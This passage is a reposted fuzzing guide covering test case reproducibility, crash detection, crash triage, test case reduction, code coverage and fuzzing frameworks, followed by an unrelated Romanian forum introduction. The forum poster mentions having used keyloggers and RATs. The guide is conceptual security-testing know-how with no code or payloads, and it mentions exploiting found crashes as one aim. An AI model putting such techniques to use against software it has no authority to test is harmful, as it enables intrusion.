Semi-colons Format string values (%n, %s, etc.) Application specific keywords Reproducibility The simplest way to reproduce a test case is to record the exact input used when a crash is detected. However, there are other ways to ensure reproducibility that can be more convenient in certain circumstances. One way to do this is to store the initial seed used for the random component of test case generation, and ensure that all subsequent random behaviour follows a path that can be traced back to that seed. By re-running the fuzzer with the same seed, the behaviour should be reproducible. For example, you may only record the test case number and the initial seed and then quickly re-execute generation with that seed until you reach the given test case. This technique can be useful when the target program may accumulate dependencies based on past inputs. Previous inputs may have caused the program to initialise various items in its memory that are required to be present to trigger the bug. In these situations, simply recording the crashing test case would not be sufficient to reproduce the bug. Interfacing with the target Interfacing with the target program to provide the fuzzed input is often straightforward. For network protocols, it may simply involve sending the test case over the network, or responding to a client request; for file formats, it may simply mean executing the program with a command line argument pointing to the test case. However, sometimes the input is provided in a form that is not trivial to generate in an automated way or where scripting the program to execute each test case has a high overhead and proves to be very slow. Creative thinking in these cases can reveal ways to exercise the relevant piece of code with the right data. For example, this may be performed by instrumenting a program in memory artificially to execute a parsing function with the input provided as an argument entirely in memory. This can remove the need for the program to go through a lengthy loading procedure before each test case, and further speed increases could be obtained by having test cases generated and provided completely in memory rather than going via the hard drive. Crash detection Crash detection is critical for fuzzing. If you cannot accurately determine when a program has crashed, you will not be able to identify a test case as triggering a bug. There are a number of common ways to approach this: Attach a debugger This will provide you with the most accurate results and you can script the debugger to provide you with a crash trace as soon as a crash is detected. However, having a debugger attached can slow programs significantly and this can cause quite an overhead. The fewer test cases you can generate in a given period of time, the fewer chances you have of finding a crash. See if the process disappears Rather than attaching a debugger, you can simply see if the process ID of the target still exists on the system after executing the test case. If the process has disappeared, it probably crashed. You can re-run the test case in a debugger later if you want some more information about the crash, and you can even do this automatically for each crash, while still avoiding the slowdown of having the debugger attached for every case. Timeout If the program normally responds to your test cases, you can set a timeout after which you assume the program has either crashed or frozen. This can also detect bugs that cause the program to become unresponsive but not necessarily to terminate. Whichever method you use, the program should be restarted whenever it crashes or becomes unresponsive, in order to allow fuzzing to continue. Fuzzing quality There are a number of things you can do to measure or improve the quality of your fuzzing. While these are all good things to keep in mind, you may not need to bother with them all if you are already getting lots of unique crashes within a useful timeframe. Speed Possibly one of the most important factors in fuzzing is speed. How many test cases per second/minute can you run? Sensible values will of course depend on the target, but the more test cases you can execute, the more likely you will be to find a crash in a given time period. Fuzzing is random, so every test case is like a lottery ticket, and you want as many of them as you can get. There are lots of things you can do to increase the speed of your test cases, such as improving the efficiency of your generation or mutation routines, parallelising test cases, decreasing timeouts or running programs in “headless” modes where they do not display a GUI. And of course if you want to, you can simply buy faster kit! Categorising crashes Finding crashes is of course only the start of the process. Once you find a crashing test case, you will need to analyse it, work out what the bug is and either fix it or write an exploit for it depending on your motivation. If you have thousands of crashing test cases, this can be quite daunting. By categorising crashes you can prioritise them according to which ones are most interesting to you. This can also help you identify when one test case is triggering the same bug as another, so you only keep the cases relating to unique crashes. In order to do this, you will need some automated information about the crash so you can make a decision. Running the test case with the target attached to a debugger can provide a crash trace which you can parse to find values such as the exception type, register values, stack contents and so on. One tool by Microsoft which can help with this is called, !exploitable (pronounced “bang exploitable”), which works with the Windbg debugger to categorise crashes according to how exploitable it thinks the bug is. Test case reduction As fuzzing randomly alters input, it is common for a crashing test case to have multiple alterations which are not relevant to triggering the bug. Test case reduction is the act of narrowing down a test case to the minimum set of alterations from a valid input required to trigger the bug, so that you only need to focus on that part of the input in your analysis. This reduction can be performed manually, but it can also be performed automatically by the fuzzer. When a crashing test case is encountered, the fuzzer can re-execute the test case several times, gradually reducing the alterations made to the input until the smallest set of changes remains, whilst still triggering the bug. This can simplify your analysis and may also help to categorise crashing test cases as you will know precisely what parts of the input are affected. Code coverage Code coverage is a measure of how much of the program’s code has been executed by the fuzzer. The idea is that the more coverage you get, the more of the program you have actually tested. Measuring code coverage can be tricky and often requires binary instrumentation to track which portions of code are being executed. You can also measure code coverage in different ways, such as by line, by basic block, by branch or by code path. Code coverage is not a perfect measure with regards to fuzzing, as it is possible to execute code without revealing bugs in it, and there are often areas of code that almost never get executed, such as safety error checks that are unlikely to really be needed and are very unlikely to be interesting to us anyway. Nevertheless, some form of code coverage measurement can provide insight into what your fuzzer is triggering within the program, especially when your fuzzing is completely black box and you may not yet know much about the program’s inner workings. Some tools and technologies that may help with code coverage include Pai Mei, Valgrind, DynamoRIO and DTrace. Fuzzing frameworks There are a number of existing frameworks that allow you to create fuzzers without having to work from scratch. Some of these frameworks are complex and it may still take a while to create a working fuzzer for your target; by contrast, others take a very simple approach. A selection of these frameworks and fuzzers is listed here for your reference: Radamsa Radamsa is designed to be easy to use and flexible. It attempts to “just work” for a variety of input types and contains a number of different fuzzing algorithms for mutation. Sulley Sulley provides a comprehensive generation framework, allowing structured data to be represented for generation based fuzzing. It also contains components to help with recording test cases and detecting crashes. Peach The Peach framework can perform smart fuzzing for file formats and network protocols. It can perform both generation- and mutation-based fuzzing and it contains components to help with modelling and monitoring the target. SPIKE SPIKE is a network protocol fuzzer. It requires good knowledge of C to use and is designed to run on Linux. Grinder Grinder is a web browser fuzzer, which also has features to help in managing large numbers of crashes. NodeFuzz NodeFuzz is a nodejs-based harness for web browsers, which includes instrumentation modules to gain further information from the client side. Sursa: https://www.mwrinfosecurity.com/knowledge-centre/15-minute-guide-to-fuzzing/

Salut RTS numele meu este Dode si am 19 ani, stiu ca sunt pe site din 2012 dar eram un copil mic pe atunci iar azi am revenit dupa multi ani si o sa incerc sa devin mai activ. Sunt pasionat IT de cand ma stiu Stric/Repar PC-uri ca un Hobby si in tinerete m-am jucat si cu keyloggers rat's si multe versiuni de BackTrack De azi o sa incerc sa fiu mai activ pe partea de tutoriale si sper sa am parte de noi prieteni pe zi ce trece. Sper sa fiu primit din nou cu bratele deschise ca si acum 5 ani cand am venit pentru prima data.